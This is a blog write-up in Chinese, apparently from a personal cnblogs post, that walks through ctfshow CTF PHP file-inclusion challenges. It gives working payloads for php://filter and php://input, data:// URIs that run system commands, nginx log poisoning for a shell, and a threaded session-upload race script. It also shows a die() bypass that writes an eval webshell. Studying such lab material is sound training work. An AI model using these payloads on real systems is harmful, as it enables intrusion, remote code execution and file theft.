ctfshow web入门文件包含

文件包含

web78

if(isset($_GET['file'])){
    $file = $_GET['file'];
    include($file);
}else{
    highlight_file(__FILE__);
}

用PHP伪协议php://filter来构造

源码中的include函数,这个表示从外部引入php文件并执行,如果执行不成功,就返回文件的源码。
这是一个file关键字的get参数传递,php://是一种协议名称,php://filter/是一种访问本地文件的协议,/convert.base64-encode/表示读取的方式是base64编码后,resource=flag.php表示目标文件为flag.php。

payload:

?file=php://filter/convert.base64-encode/resource=flag.php

image-20211014204746318

web79


if(isset($_GET['file'])){
    $file = $_GET['file'];
    $file = str_replace("php", "???", $file);
    include($file);
}else{
    highlight_file(__FILE__);
}

有一个替代函数str_replace,所以上一个的payload不能用了

方法1:

image-20211014210006358

?file=Php://input

<?php
system("tac flag.php");
?>

方法2

?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs=
PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs ===> <?php system('cat flag.php');

这个要查看源代码

web80


if(isset($_GET['file'])){
    $file = $_GET['file'];
    $file = str_replace("php", "???", $file);
    $file = str_replace("data", "???", $file);
    include($file);
}else{
    highlight_file(__FILE__);
}

这一次又把data给过滤了

法1

与上一题的方法1类似

?file=Php://input

<?php
system("ls");//查看目录
?>

image-20211014210631808

?file=Php://input

<?php
system("tac fl0g.php");
?>
data:text/plain,<?php system(‘命令’);?> 
?file=data:text/plain,<?pHp system('ls');?>

image-20211014210724265

法2

包含日志文件 进行getshell 日志文件路径: ?file=/var/log/nginx/access.log

访问并抓包image-20211015184900297

<?php+system('ls');?>
<?php system('cat fl0g.php');?>

image-20211015185158375

发现里面有两个文件fl0g.php和index.php

image-20211015185429924

知识点:

访问日志文件记录了服务器收到的每一次请求的
IP、访问时间、URL、User-Agent,这4项中的前两项的值都是我们无法控制的,我们只能在自己可以控制的字段上做手脚,其中URL字段由于URL编码的存在,空格等一些符号无法包含其中,而User-Agent则不会被进行任何二次处理,我们发什么内容,服务器就将其原封不动的写入日志。

访问日志的位置和文件名在不同的系统上会有所差异

apache一般是/var/log/apache/access.log
nginx的log在/var/log/nginx/access.log和/var/log/nginx/error.log

web81

这样

image-20211015191856685

里面有fl0g.php,上一题也可以这么做

shell=system('tac fl0g.php');

image-20211015192021097

web82-86

<?php
if(isset($_GET['file'])){
    $file = $_GET['file'];
    $file = str_replace("php", "???", $file);
    $file = str_replace("data", "???", $file);
    $file = str_replace(":", "???", $file);
    $file = str_replace(".", "???", $file);
    include($file);
}else{
    highlight_file(__FILE__);
}

把.也过滤了,所以需要构造一个不含.的文件

大佬的wp

https://www.freebuf.com/vuls/202819.html

session配置(前提):

session.upload_progress.enabled = on
upload_progress功能开始,也意味着当浏览器向服务器上传一个文件时,php将会把此次文件上传的详细信息(如上传时间、上传进度等)存储在session当中

session.upload_progress.cleanup = on
当文件上传结束后,php将会立即清空对应session文件中的内容,这个选项非常重要;

session.upload_progress.name = “PHP_SESSION_UPLOAD_PROGRESS”
name当它出现在表单中,php将会报告上传进度,最大的好处是,它的值可控

session.upload_progress.prefix = “upload_progress_”
prefix+name将表示为session中的键名

session.use_strict_mode=off
这个选项默认值为off,表示我们对Cookie中sessionid可控。这一点至关重要,下面会用到
linux系统中session文件一般的默认存储位置为 /tmp 或 /var/lib/php/session

在默认情况下,session.upload_progress.cleanup是开启的,一旦读取了所有POST数据,它就会清除进度信息,所以我们要利用条件竞争来进行解题
条件竞争 是指一个系统的运行结果依赖于不受控制的事件的先后顺序。当这些不受控制的事件并没有按照开发者想要的方式运行时,就可能会出现 bug。尤其在当前我们的系统中大量对资源进行共享,如果处理不当的话,就会产生条件竞争漏洞。
利用PHP_SESSION_UPLOAD_PROGRESS进行文件包含

1.简单来说,上面这个选项开启以后,上传文件,我们能够POST请求查看上传进度
2.我们在session中写入我们要执行的代码
3.用户可以自己定义Session ID,比如在Cookie里设置PHPSESSID=flag,PHP将会在服务器上创建一个文件:/tmp/sess_flag,我们能够命名'sess_'后面的名字
4.之后要执行就要包含这个session文件
5.默认情况下,session.upload_progress.cleanup是开启的,一旦读取了所有POST数据,就会清除进度信息
6.于是我们需要条件竞争来读取文件,所谓条件竞争简单来说是在执行系统命令前先执行完自己的代码,在文件上传中很常见

我们需要写一个POST页面

<!DOCTYPE html>
<html>
<body>
<form action="http://668ba926-9165-49e7-92fb-c94a08d54feb.chall.ctf.show/" method="POST" enctype="multipart/form-data">
<input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="2333" />
<input type="file" name="file" />
<input type="submit" value="submit" />
</form>
</body>
</html>
<?php
session_start();
?>

随便传一个文件就行,然后需要把Cookie改了,Cookie :PHPSESSID=flag,会在服务器上创建一个文件:/tmp/sess_flag,然后我们在PHP_SESSION_UPLOAD_PROGRESS下添加我们的执行代码

image-20211017155625056

再传参?file=/tmp/sess_flag,抓包

image-20211017155713975

然后将这两个的有效载荷改了,如图

image-20211017155907020

先爆第一个post的包,在爆第二个get的包

爆出来,查看响应,发现里面有一个fl0g.php

image-20211017160221134

爆破即可得到flag

详细解析:

https://blog.csdn.net/qq_44657899/article/details/109281343

补充一个通杀脚本,可以试试(多线程脚本)

import io
import requests
import threading

sessid = 'flag'
url = 'http://873190e1-396b-43bb-b91e-24c0e7eaeec3.challenge.ctf.show:8080/'

def write(session):a
    while event.isSet():
        f = io.BytesIO(b'a'*1024*50)
        response = session.post(
            url,
            cookies = {'PHPSESSID':sessid},
            data = {'PHP_SESSION_UPLOAD_PROGRESS':'<?php system("cat *.php")?>'},
            files = {'file':('texe.txt',f)}
        )

def read(session):
    while event.isSet():
        response = session.get(url+'?file=/tmp/sess_{}'.format(sessid))
        if 'text' in response.text:
            print(response.text)
            event.clear()
        else:
            print('[*]wait.....')

if __name__ == '__main__':
    event = threading.Event()
    event.set()
    with requests.session() as session:
        for i in range(1,30):
            threading.Thread(target=write,args=(session,)).start()
        for i in range(1,30):
            threading.Thread(target=read,args=(session,)).start()

event.set()#将event的标志设置为True,调用wait方法的所有线程将被唤醒;
event.clear()#将event的标志设置为False,调用wait方法的所有线程将被阻塞;
event.isSet()#判断event的标志是否为True。

web87

源码:


if(isset($_GET['file'])){
    $file = $_GET['file'];
    $content = $_POST['content'];
    $file = str_replace("php", "???", $file);
    $file = str_replace("data", "???", $file);
    $file = str_replace(":", "???", $file);
    $file = str_replace(".", "???", $file);
    file_put_contents(urldecode($file), "<?php die('大佬别秀了');?>".$content);

    
}else{
    highlight_file(__FILE__);
}
先代码分析,主要传入两个参数,一个post一个get,过滤了php  data  :  .  
file_put_contents(urldecode($file), "<?php die('大佬别秀了');?>".$content);
因为urldecode($file),所以我们在传入时要对file传入的东西进行二次编码
因为有die(与exit意思一样),导致即使我们成功写入一句话,也执行不了(这个过程在实战中十分常见,通常出现在缓存、配置文件等等地方,不允许用户直接访问的文件,都会被加上if(!defined(xxx))exit;之类的限制),所以我们要绕过他
这个<?php exit; ?>实际上是一个XML标签,既然是XML标签,我们就可以利用strip_tags函数去除它,而php://filter刚好是支持这个方法的。
$file是我们我们可控的协议流,我们使用base64编码,在解码时去掉退出代码中不支持的字符,变为phpdie,在后面加上aa使得能正常解码phpdieaa(base64编码解码特性,4字节一组)

姿势:

aaPD9waHAgQGV2YWwoJF9QT1NUW2FdKTs/Pg==
base64编码:<?php @eval($_POST[a]);?>
%2570%2568%2570%253A%252F%252F%2566%2569%256C%2574%2565%2572%252F%2577%2572%2569%2574%2565%253D%2563%256F%256E%2576%2565%2572%2574%252E%2562%2561%2573%2565%2536%2534%252D%2564%2565%2563%256F%2564%2565%252F%2572%2565%2573%256F%2575%2572%2563%2565%253D%2531%252E%2570%2568%2570
这是对php://filter/write=convert.base64-decode/resource=1.php进行了2次url编

先把内容写入

image-20211019124304480

意思是把content的内容写到了1.php中,没有返回值,说明上传成功

然后直接访问1.php,并POST参数a进行命令执行

image-20211019124521684

参考博客:

https://www.leavesongs.com/PENETRATION/php-filter-magic.html?page=2#_1
https://www.cnblogs.com/echoDetected/p/13976405.html

web88

if(isset($_GET['file'])){
    $file = $_GET['file'];
    if(preg_match("/php|\~|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\_|\+|\=|\./i", $file)){
        die("error");
    }
    include($file);
}else{
    highlight_file(__FILE__);
} 

data协议可以用

?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCd0YWMgZmwwZy5waHAnKTsgPz4

PD9waHAgc3lzdGVtKCd0YWMgZmwwZy5waHAnKTsgPz4=  
<?php system('tac fl0g.php'); ?>

web116

现在kali下binwalk一下,查看隐藏文件,在dd分离出原码图片

image-20211019144035561

虽然过滤了很多,但可以直接传参构造payload:

?file=flag.php
或?file=compress.zlib:///var/www/html/flag.php

传参后下载视频就可以得到flag,或者抓包也能得到

image-20211019144516282

web117

highlight_file(__FILE__);
error_reporting(0);
function filter($x){
    if(preg_match('/http|https|utf|zlib|data|input|rot13|base64|string|log|sess/i',$x)){
        die('too young too simple sometimes naive!');
    }
}
$file=$_GET['file'];
$contents=$_POST['contents'];
filter($file);
file_put_contents($file, "<?php die();?>".$contents); 

与web87类似

死亡绕过不同变量,但是这里把rot13和base64过滤了,所以考虑除这两种以外的方式绕过。

convert.iconv.:一种过滤器,和使用iconv()函数处理流数据有等同作用
iconv ( string $in_charset , string $out_charset , string $str ):将字符串 $str 从in_charset编码转换到 $out_charset
这里引入usc-2的概念,作用是对目标字符串每两位进行一反转,值得注意的是,因为是两位所以字符串需要保持在偶数位上

没有ban php 所以可以直接用

image-20211019145539250

payload:

?file=php://filter/write=convert.iconv.UCS-2LE.UCS-2BE/resource=a.php 
post:contents=?<hp pvela$(P_SO[T]1;)>

image-20211019150019754

posted @ 2022-03-08 13:36  森sen  阅读(2264)  评论(0编辑  收藏  举报